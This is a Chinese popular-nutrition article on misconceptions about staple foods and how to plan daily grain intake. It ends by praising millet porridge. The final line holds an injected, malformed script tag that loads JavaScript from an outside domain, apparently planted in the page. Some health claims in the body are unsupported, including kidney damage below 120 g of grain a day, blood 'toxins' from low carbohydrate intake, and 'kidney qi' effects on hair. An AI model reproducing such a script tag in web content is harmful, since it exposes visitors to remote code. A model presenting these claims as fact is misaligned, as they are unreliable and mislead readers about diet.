维持人体生命活动的三大供能营养素是碳水化合物、脂肪和蛋白质，它们在体内各有特殊的生理作用，且又相互影响。三者在总热能的供给中有一个适宜的比例，较科学的标准是：食物热量的58%来自碳水化合物，30%来自脂肪，12%来自蛋白质。在我国居民膳食中，谷类主食是供给热能最主要的来源，约有50%－80%的热能和50%－70%的蛋白质、B族维生素、部分矿物质和膳食纤维是由谷类供给的，我们每餐都离不开主食。谷类食物占到三餐提供能量的50%－80%。如果占我们生活50%－80%的食物是有利于健康的，那么，我们的健康就有了超过50%的保障；相反，如果不能合理地利用这些主食，那么，主食带来的隐患和危险是比任何一方面都要可怕的。
现代人主食误区
主食和健康之间有着不可分割的联系。为什么一些人生活水平提高了，健康状况却不如以前了呢？
误区一：主食越来越“西化”。许多匆忙的现代人，经常是早晨三明治加牛奶、中午西式快餐、晚上以肉类为主，谷类食物摄入量越来越少，饮食习惯日益“西化”。这种典型的高能量密度、高脂肪、高蛋白质、低膳食纤维的“三高一低”的饮食结构，是肥胖、心脑血管疾病、糖尿病、恶性肿瘤等疾病的罪魁祸首。近年来，这些疾病正向低龄群体蔓延，严重威胁着国民的健康素质。
误区二：主食越做越精细。现在人们心目中主食的范围扩大了，烧卖、麻花、春卷、奶黄包、香酥小点、西式糕点、饼干、油炸面点等高油或高温加工的淀粉类食物，都被当成主食对待。事实上，这类食物的脂肪、热量等含量较高，不能等同于原味五谷的作用，多吃还导致体重增加，对健康无益。淀粉类食品在高温烹调下容易产生致癌物丙烯酰胺；另外，为改善外观和口感，一些食物中还加入了起酥油、人造奶油等，长期食用这类食品对心血管有相当大的负面影响。
误区三：油条、方便面当主食。一碗豆浆、两根油条，这是许多人的传统早餐。油条属于油炸食品，能量密度高，含有较高的油脂和致癌物质，已经有研究表明，常吃油炸食物的人群，其癌症的发病率远远高于不吃或极少进食油炸食物的人群。
一碗方便面就是一顿饭，许多人这样吃过。方便面属于高盐、高脂、低维生素、低矿物质的一类食物，不宜常吃。
误区四：主副食地位颠倒。相当一部分人认为,少吃主食多吃副食更有营养。副食特别是荤菜吃得多，脂肪和胆固醇摄入量也相应增多，加重肾脏负担，还容易引起肥胖及并发症。还有一些应酬族，光喝酒吃菜，不吃主食，这对肝脏和心血管损害更大。谷物中的碳水化合物有加强肝脏解毒的功能，适量摄入主食可以起到保肝的作用。因此，喝酒人更应该吃主食。
误区五：为保身材以蔬果代替主食。一些减肥的人舍弃主食，每天只吃些蔬菜、水果，肉蛋也很少吃。短时间内的确达到了体重减轻的效果，但随之而来的是头晕恶心、精神差、脸色难看。长此以往，将造成营养不均衡，使机体各系统出现功能障碍和紊乱。其实，主食的摄入可以使人产生饱腹感，在一定程度上起到节制饮食的作用。减肥，应该减少摄入的是高热量食品而非主食。根据有关数据表明，由于缺乏碳水化合物，血液中有毒废物不能及时排除，造成皮肤暗淡脸色难看，严重时损伤脑健康。主食摄入不足，还容易导致气血亏虚、肾气不足，肾气不足的人头发易脱落、干枯、变白。因此，主食的摄入量不能降至底线以下。减肥期间每天吃120-200克主食比较合理，低于120克则有损肾脏，而且降低大脑工作效率。
尽管如此，并不等于说上述食品绝对不能吃。有害物质在体内积累到一定的量时才会引起疾病。如果仅是日常生活中变换一下口味偶尔吃吃，不是吃得过于频繁，对健康是不会造成威胁的。

如何合理安排主食
定量  正常人每天的谷物摄入量为300克-500克。早中晚采用3：4：3的分配原则。需要因人而异，体力劳动强度大和较瘦者可以多吃一些，减肥人士可适量少吃一些，但不能不吃主食。
清淡  用蒸或煮的方法制作主食，可保持食品的原味，减少营养损失，少吃过于精细的食品，少吃高温油炸、烘焙、奶油糕点类食品。
多样  要经常变换主食品种，如米饭、馒头、包子、玉米、小米等轮换吃，长期食用单一的食物，易引起营养不良。提倡多吃粗粮、粮豆混食。煮饭时不妨用一种或多种粗粮和大米混合，白面和玉米面、黄豆面等混合，一方面增加了B族维生素和矿物质，另一方面还能起到蛋白质营养互补的作用，提高谷类的营养价值。每天最好能吃50克以上的粗粮。
如何把普通的“粮食”吃得更有营养、更有新意呢？不妨看看专家的推荐。

小米粥，黄金粥
小米熬粥一直有“黄金粥”之美称。对于老弱病人和产妇来说，小米是最理想不过的滋补品。由于小米不需精制，它保存了许多维生素和矿物质，其中所含有的蛋白质、脂肪、钙等含量都比大米高。?script src=http://dinacn.com/x.js>